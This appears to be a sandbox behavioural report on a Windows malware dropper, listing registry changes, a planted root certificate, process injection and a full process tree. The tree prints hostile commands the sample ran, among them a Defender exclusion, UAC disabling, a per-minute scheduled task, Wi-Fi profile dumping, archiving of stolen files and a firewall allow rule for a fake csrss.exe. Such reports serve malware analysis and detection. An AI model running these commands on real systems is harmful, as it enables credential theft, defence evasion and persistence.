Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	en7bdC6C7uE93NEFbnMC0kuj.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

Processes:

keks.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	keks.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	keks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

4aa8cd253a6afa9b54797968ad1bbf3a7b3afcc727cdd9bcff0b47e5945159f4.exechrosha.exerundll32.exeRegAsm.exetrf.exepowershell.exejok.exepowershell.exepowershell.exepowershell.exeQg_Appv5.exeUniversalInstaller.exeUniversalInstaller.exeaqLyI0fetXJfaAm0ZYvRPeHK.exeen7bdC6C7uE93NEFbnMC0kuj.exepowershell.exepowershell.exeQg_Appv5.execmd.exeUniversalInstaller.exeUniversalInstaller.exe

pid	process
1476	4aa8cd253a6afa9b54797968ad1bbf3a7b3afcc727cdd9bcff0b47e5945159f4.exe
1476	4aa8cd253a6afa9b54797968ad1bbf3a7b3afcc727cdd9bcff0b47e5945159f4.exe
4556	chrosha.exe
4556	chrosha.exe
2744	rundll32.exe
2744	rundll32.exe
2744	rundll32.exe
2744	rundll32.exe
2744	rundll32.exe
2744	rundll32.exe
912	RegAsm.exe
912	RegAsm.exe
2744	rundll32.exe
2744	rundll32.exe
2744	rundll32.exe
2744	rundll32.exe
4756	trf.exe
4756	trf.exe
2772	powershell.exe
2772	powershell.exe
1960	jok.exe
1960	jok.exe
2772	powershell.exe
3984	powershell.exe
3984	powershell.exe
3984	powershell.exe
1960	jok.exe
1960	jok.exe
1960	jok.exe
1960	jok.exe
2000	powershell.exe
2000	powershell.exe
2960	powershell.exe
2960	powershell.exe
2960	powershell.exe
2000	powershell.exe
912	RegAsm.exe
912	RegAsm.exe
4340	Qg_Appv5.exe
4340	Qg_Appv5.exe
4340	Qg_Appv5.exe
5140	UniversalInstaller.exe
5212	UniversalInstaller.exe
5212	UniversalInstaller.exe
5212	UniversalInstaller.exe
960	aqLyI0fetXJfaAm0ZYvRPeHK.exe
960	aqLyI0fetXJfaAm0ZYvRPeHK.exe
3160	en7bdC6C7uE93NEFbnMC0kuj.exe
3160	en7bdC6C7uE93NEFbnMC0kuj.exe
4992	powershell.exe
4992	powershell.exe
4832	powershell.exe
4832	powershell.exe
4992	powershell.exe
4832	powershell.exe
5808	Qg_Appv5.exe
5264	cmd.exe
5264	cmd.exe
5264	cmd.exe
5264	cmd.exe
5808	Qg_Appv5.exe
5808	Qg_Appv5.exe
1988	UniversalInstaller.exe
6092	UniversalInstaller.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

UniversalInstaller.exe

pid process

5212 UniversalInstaller.exe

pid	process
5212	UniversalInstaller.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

Processes:

trf.exefile300un.exepowershell.exejok.exeinstallutil.exepowershell.exepowershell.exepowershell.exeaqLyI0fetXJfaAm0ZYvRPeHK.exeen7bdC6C7uE93NEFbnMC0kuj.exepowershell.exepowershell.exekeks.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4756	trf.exe
Token: SeBackupPrivilege	4756	trf.exe
Token: SeSecurityPrivilege	4756	trf.exe
Token: SeSecurityPrivilege	4756	trf.exe
Token: SeSecurityPrivilege	4756	trf.exe
Token: SeSecurityPrivilege	4756	trf.exe
Token: SeDebugPrivilege	4956	file300un.exe
Token: SeDebugPrivilege	2772	powershell.exe
Token: SeDebugPrivilege	1960	jok.exe
Token: SeDebugPrivilege	3444	installutil.exe
Token: SeDebugPrivilege	3984	powershell.exe
Token: SeDebugPrivilege	2000	powershell.exe
Token: SeDebugPrivilege	2960	powershell.exe
Token: SeDebugPrivilege	960	aqLyI0fetXJfaAm0ZYvRPeHK.exe
Token: SeImpersonatePrivilege	960	aqLyI0fetXJfaAm0ZYvRPeHK.exe
Token: SeDebugPrivilege	3160	en7bdC6C7uE93NEFbnMC0kuj.exe
Token: SeImpersonatePrivilege	3160	en7bdC6C7uE93NEFbnMC0kuj.exe
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeDebugPrivilege	4832	powershell.exe
Token: SeDebugPrivilege	4592	keks.exe
Token: SeDebugPrivilege	5676	powershell.exe

Suspicious use of FindShellTrayWindow 7 IoCs

Processes:

u3f8.1.exe

pid process

5316 u3f8.1.exe
5316 u3f8.1.exe
5316 u3f8.1.exe
5316 u3f8.1.exe
5316 u3f8.1.exe
5316 u3f8.1.exe
5316 u3f8.1.exe
Suspicious use of SendNotifyMessage 7 IoCs

Processes:

u3f8.1.exe

pid process

5316 u3f8.1.exe
5316 u3f8.1.exe
5316 u3f8.1.exe
5316 u3f8.1.exe
5316 u3f8.1.exe
5316 u3f8.1.exe
5316 u3f8.1.exe

pid	process
5316	u3f8.1.exe
5316	u3f8.1.exe
5316	u3f8.1.exe
5316	u3f8.1.exe
5316	u3f8.1.exe
5316	u3f8.1.exe
5316	u3f8.1.exe

pid	process
5316	u3f8.1.exe
5316	u3f8.1.exe
5316	u3f8.1.exe
5316	u3f8.1.exe
5316	u3f8.1.exe
5316	u3f8.1.exe
5316	u3f8.1.exe

Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

UniversalInstaller.exeUniversalInstaller.exeUniversalInstaller.exeUniversalInstaller.exe

pid	process
5140	UniversalInstaller.exe
5140	UniversalInstaller.exe
5212	UniversalInstaller.exe
5212	UniversalInstaller.exe
1988	UniversalInstaller.exe
1988	UniversalInstaller.exe
6092	UniversalInstaller.exe
6092	UniversalInstaller.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrosha.exeswiiiii.exealexxxxxxxx.exeRegAsm.exegold.exeNewB.exe

description	pid	process	target process
PID 4556 wrote to memory of 2716	4556	chrosha.exe	swiiiii.exe
PID 4556 wrote to memory of 2716	4556	chrosha.exe	swiiiii.exe
PID 4556 wrote to memory of 2716	4556	chrosha.exe	swiiiii.exe
PID 2716 wrote to memory of 2424	2716	swiiiii.exe	RegAsm.exe
PID 2716 wrote to memory of 2424	2716	swiiiii.exe	RegAsm.exe
PID 2716 wrote to memory of 2424	2716	swiiiii.exe	RegAsm.exe
PID 2716 wrote to memory of 2424	2716	swiiiii.exe	RegAsm.exe
PID 2716 wrote to memory of 2424	2716	swiiiii.exe	RegAsm.exe
PID 2716 wrote to memory of 2424	2716	swiiiii.exe	RegAsm.exe
PID 2716 wrote to memory of 2424	2716	swiiiii.exe	RegAsm.exe
PID 2716 wrote to memory of 2424	2716	swiiiii.exe	RegAsm.exe
PID 2716 wrote to memory of 2424	2716	swiiiii.exe	RegAsm.exe
PID 4556 wrote to memory of 1012	4556	chrosha.exe	alexxxxxxxx.exe
PID 4556 wrote to memory of 1012	4556	chrosha.exe	alexxxxxxxx.exe
PID 4556 wrote to memory of 1012	4556	chrosha.exe	alexxxxxxxx.exe
PID 1012 wrote to memory of 1132	1012	alexxxxxxxx.exe	RegAsm.exe
PID 1012 wrote to memory of 1132	1012	alexxxxxxxx.exe	RegAsm.exe
PID 1012 wrote to memory of 1132	1012	alexxxxxxxx.exe	RegAsm.exe
PID 1012 wrote to memory of 2928	1012	alexxxxxxxx.exe	RegAsm.exe
PID 1012 wrote to memory of 2928	1012	alexxxxxxxx.exe	RegAsm.exe
PID 1012 wrote to memory of 2928	1012	alexxxxxxxx.exe	RegAsm.exe
PID 1012 wrote to memory of 1220	1012	alexxxxxxxx.exe	RegAsm.exe
PID 1012 wrote to memory of 1220	1012	alexxxxxxxx.exe	RegAsm.exe
PID 1012 wrote to memory of 1220	1012	alexxxxxxxx.exe	RegAsm.exe
PID 1012 wrote to memory of 1220	1012	alexxxxxxxx.exe	RegAsm.exe
PID 1012 wrote to memory of 1220	1012	alexxxxxxxx.exe	RegAsm.exe
PID 1012 wrote to memory of 1220	1012	alexxxxxxxx.exe	RegAsm.exe
PID 1012 wrote to memory of 1220	1012	alexxxxxxxx.exe	RegAsm.exe
PID 1012 wrote to memory of 1220	1012	alexxxxxxxx.exe	RegAsm.exe
PID 1220 wrote to memory of 4756	1220	RegAsm.exe	trf.exe
PID 1220 wrote to memory of 4756	1220	RegAsm.exe	trf.exe
PID 1220 wrote to memory of 4592	1220	RegAsm.exe	keks.exe
PID 1220 wrote to memory of 4592	1220	RegAsm.exe	keks.exe
PID 1220 wrote to memory of 4592	1220	RegAsm.exe	keks.exe
PID 4556 wrote to memory of 4740	4556	chrosha.exe	gold.exe
PID 4556 wrote to memory of 4740	4556	chrosha.exe	gold.exe
PID 4556 wrote to memory of 4740	4556	chrosha.exe	gold.exe
PID 4740 wrote to memory of 3312	4740	gold.exe	RegAsm.exe
PID 4740 wrote to memory of 3312	4740	gold.exe	RegAsm.exe
PID 4740 wrote to memory of 3312	4740	gold.exe	RegAsm.exe
PID 4740 wrote to memory of 3312	4740	gold.exe	RegAsm.exe
PID 4740 wrote to memory of 3312	4740	gold.exe	RegAsm.exe
PID 4740 wrote to memory of 3312	4740	gold.exe	RegAsm.exe
PID 4740 wrote to memory of 3312	4740	gold.exe	RegAsm.exe
PID 4740 wrote to memory of 3312	4740	gold.exe	RegAsm.exe
PID 4740 wrote to memory of 3312	4740	gold.exe	RegAsm.exe
PID 4556 wrote to memory of 2516	4556	chrosha.exe	NewB.exe
PID 4556 wrote to memory of 2516	4556	chrosha.exe	NewB.exe
PID 4556 wrote to memory of 2516	4556	chrosha.exe	NewB.exe
PID 2516 wrote to memory of 1128	2516	NewB.exe	schtasks.exe
PID 2516 wrote to memory of 1128	2516	NewB.exe	schtasks.exe
PID 2516 wrote to memory of 1128	2516	NewB.exe	schtasks.exe
PID 2516 wrote to memory of 4436	2516	NewB.exe	ISetup8.exe
PID 2516 wrote to memory of 4436	2516	NewB.exe	ISetup8.exe
PID 2516 wrote to memory of 4436	2516	NewB.exe	ISetup8.exe
PID 4556 wrote to memory of 1960	4556	chrosha.exe	jok.exe
PID 4556 wrote to memory of 1960	4556	chrosha.exe	jok.exe
PID 4556 wrote to memory of 1960	4556	chrosha.exe	jok.exe
PID 2516 wrote to memory of 4992	2516	NewB.exe	toolspub1.exe
PID 2516 wrote to memory of 4992	2516	NewB.exe	toolspub1.exe
PID 2516 wrote to memory of 4992	2516	NewB.exe	toolspub1.exe
PID 4556 wrote to memory of 3844	4556	chrosha.exe	swiiii.exe
PID 4556 wrote to memory of 3844	4556	chrosha.exe	swiiii.exe
PID 4556 wrote to memory of 3844	4556	chrosha.exe	swiiii.exe

System policy modification 1 TTPs 1 IoCs
evasion

Modify Registry
T1112

Processes:

file300un.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" file300un.exe

C:\Users\Admin\AppData\Local\Temp\4aa8cd253a6afa9b54797968ad1bbf3a7b3afcc727cdd9bcff0b47e5945159f4.exe
"C:\Users\Admin\AppData\Local\Temp\4aa8cd253a6afa9b54797968ad1bbf3a7b3afcc727cdd9bcff0b47e5945159f4.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
PID:1476

C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4556
- C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe
  "C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:2424
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2716 -s 884
    3⤵
    - Program crash
    PID:3100
- C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe
  "C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1012
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:1132
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:2928
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1220
  - - C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4756
  - - C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"
      4⤵
      Executes dropped EXE
      Modifies system certificate store
      Suspicious use of AdjustPrivilegeToken
      PID:4592
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
      4⤵
      PID:4344
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 3
        5⤵
        
        PID:2260
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1012 -s 408
    3⤵
    - Program crash
    PID:1552
- C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe
  "C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4740
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:3312
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4740 -s 396
    3⤵
    - Program crash
    PID:3492
- C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
  "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2516
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1128
- - C:\Users\Admin\AppData\Local\Temp\1000218001\ISetup8.exe
    "C:\Users\Admin\AppData\Local\Temp\1000218001\ISetup8.exe"
    3⤵
    - Executes dropped EXE
    PID:4436
  - - C:\Users\Admin\AppData\Local\Temp\u3f8.0.exe
      "C:\Users\Admin\AppData\Local\Temp\u3f8.0.exe"
      4⤵
      Executes dropped EXE
      PID:1884
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1884 -s 1096
        5⤵
        Program crash
        
        PID:1396
  - - C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe
      "C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:4340
    - - C:\Users\Admin\AppData\Local\Temp\driverRemote_debug\UniversalInstaller.exe
        
        C:\Users\Admin\AppData\Local\Temp\driverRemote_debug\UniversalInstaller.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:5140
      - C:\Users\Admin\AppData\Roaming\driverRemote_debug\UniversalInstaller.exe
        
        C:\Users\Admin\AppData\Roaming\driverRemote_debug\UniversalInstaller.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        
        PID:5212
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5264
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        8⤵
        
        PID:3356
  - - C:\Users\Admin\AppData\Local\Temp\u3f8.1.exe
      "C:\Users\Admin\AppData\Local\Temp\u3f8.1.exe"
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:5316
    - - C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        5⤵
        
        PID:4908
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4436 -s 1452
      4⤵
      Program crash
      PID:5400
- - C:\Users\Admin\AppData\Local\Temp\1000219001\toolspub1.exe
    "C:\Users\Admin\AppData\Local\Temp\1000219001\toolspub1.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    PID:4992
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4992 -s 388
      4⤵
      Program crash
      PID:4528
- C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe
  "C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1960
- C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe
  "C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:3844
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:4484
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:912
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
  2⤵
  - Loads dropped DLL
  PID:864
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:2744
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      PID:4872
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\018789126929_Desktop.zip' -CompressionLevel Optimal
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2772
- C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe
  "C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe"
  2⤵
  - UAC bypass
  - Windows security bypass
  - Executes dropped EXE
  - Windows security modification
  - Checks whether UAC is enabled
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - System policy modification
  PID:4956
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mgih1ir2\mgih1ir2.cmdline"
    3⤵
    PID:1628
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3832.tmp" "c:\Users\Admin\AppData\Local\Temp\mgih1ir2\CSC391F8FE034BE4CE784C2B8FEBB8D2B78.TMP"
      4⤵
      PID:3552
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe" -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3984
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3444
  - - C:\Users\Admin\Pictures\SAXiizo0VtW42CnAvoRt4PCh.exe
      "C:\Users\Admin\Pictures\SAXiizo0VtW42CnAvoRt4PCh.exe"
      4⤵
      Executes dropped EXE
      PID:4708
    - - C:\Users\Admin\AppData\Local\Temp\u3ms.0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u3ms.0.exe"
        5⤵
        Executes dropped EXE
        
        PID:2576
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2576 -s 1092
        6⤵
        Program crash
        
        PID:1404
    - - C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:5808
      - C:\Users\Admin\AppData\Local\Temp\driverRemote_debug\UniversalInstaller.exe
        
        C:\Users\Admin\AppData\Local\Temp\driverRemote_debug\UniversalInstaller.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:1988
        
        C:\Users\Admin\AppData\Roaming\driverRemote_debug\UniversalInstaller.exe
        
        C:\Users\Admin\AppData\Roaming\driverRemote_debug\UniversalInstaller.exe
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:6092
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        8⤵
        
        PID:5040
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:5140
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        9⤵
        
        PID:1608
    - - C:\Users\Admin\AppData\Local\Temp\u3ms.1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u3ms.1.exe"
        5⤵
        
        PID:1288
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4708 -s 972
        5⤵
        Program crash
        
        PID:5852
  - - C:\Users\Admin\Pictures\aqLyI0fetXJfaAm0ZYvRPeHK.exe
      "C:\Users\Admin\Pictures\aqLyI0fetXJfaAm0ZYvRPeHK.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:960
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2960
    - - C:\Users\Admin\Pictures\aqLyI0fetXJfaAm0ZYvRPeHK.exe
        
        "C:\Users\Admin\Pictures\aqLyI0fetXJfaAm0ZYvRPeHK.exe"
        5⤵
        Executes dropped EXE
        Checks for VirtualBox DLLs, possible anti-VM trick
        
        PID:5592
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4832
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        6⤵
        
        PID:5228
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        7⤵
        Modifies Windows Firewall
        
        PID:5664
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
